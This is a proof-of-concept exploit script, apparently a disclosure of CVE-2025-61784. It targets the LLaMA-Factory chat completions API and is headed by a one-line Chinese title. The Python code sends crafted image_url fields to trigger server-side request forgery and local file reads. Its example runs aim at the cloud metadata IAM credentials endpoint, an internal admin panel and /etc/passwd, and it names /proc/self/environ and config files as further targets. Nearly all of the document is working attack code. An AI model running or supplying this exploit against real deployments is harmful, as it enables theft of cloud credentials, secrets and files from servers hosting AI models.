CVE-2025-61784：LLaMA-Factory聊天API存在SSRF和LFI漏洞

# CVE-2025-61784 - LLaMA-Factory SSRF & LFI PoC # Exploits the _process_request function in src/llamafactory/api/chat.py # The vulnerability allows authenticated users to force the server to make # arbitrary HTTP requests or read local files via crafted URLs in multimodal content. import requests # Target LLaMA-Factory API endpoint TARGET_URL = "http://target-llama-factory:8000/v1/chat/completions" AUTH_TOKEN = "your_api_token_here" # Low-privilege authenticated user token def exploit_ssrf(target_internal_url): """ SSRF: Force the server to make requests to internal/external URLs Example targets: - http://127.0.0.1:8080/admin (internal services) - http://169.254.169.254/latest/meta-data/ (cloud metadata) - http://192.168.1.1/ (internal network reconnaissance) """ payload = { "model": "llama", "messages": [ { "role": "user", "content": [ { "type": "image_url", "image_url": { "url": target_internal_url } }, { "type": "text", "text": "Describe this image" } ] } ], "stream": False } headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } response = requests.post(TARGET_URL, json=payload, headers=headers) print(f"[SSRF] Response from {target_internal_url}:") print(response.json()) return response def exploit_lfi(file_path): """ LFI: Read arbitrary files from the server's filesystem The function checks os.path.isfile() but may be bypassed via path traversal Example targets: - /etc/passwd - /proc/self/environ - /app/config.yaml """ # Using file:// protocol or direct path to bypass URL validation file_url = f"file://{file_path}" return exploit_ssrf(file_url) # Example usage if __name__ == "__main__": # Example 1: SSRF to AWS metadata service print("=== SSRF Attack: Cloud Metadata ===") exploit_ssrf("http://169.254.169.254/latest/meta-data/iam/security-credentials/") # Example 2: SSRF to internal admin panel print("\n=== SSRF Attack: Internal Service ===") exploit_ssrf("http://127.0.0.1:8080/admin") # Example 3: LFI to read sensitive files print("\n=== LFI Attack: Read /etc/passwd ===") exploit_lfi("/etc/passwd")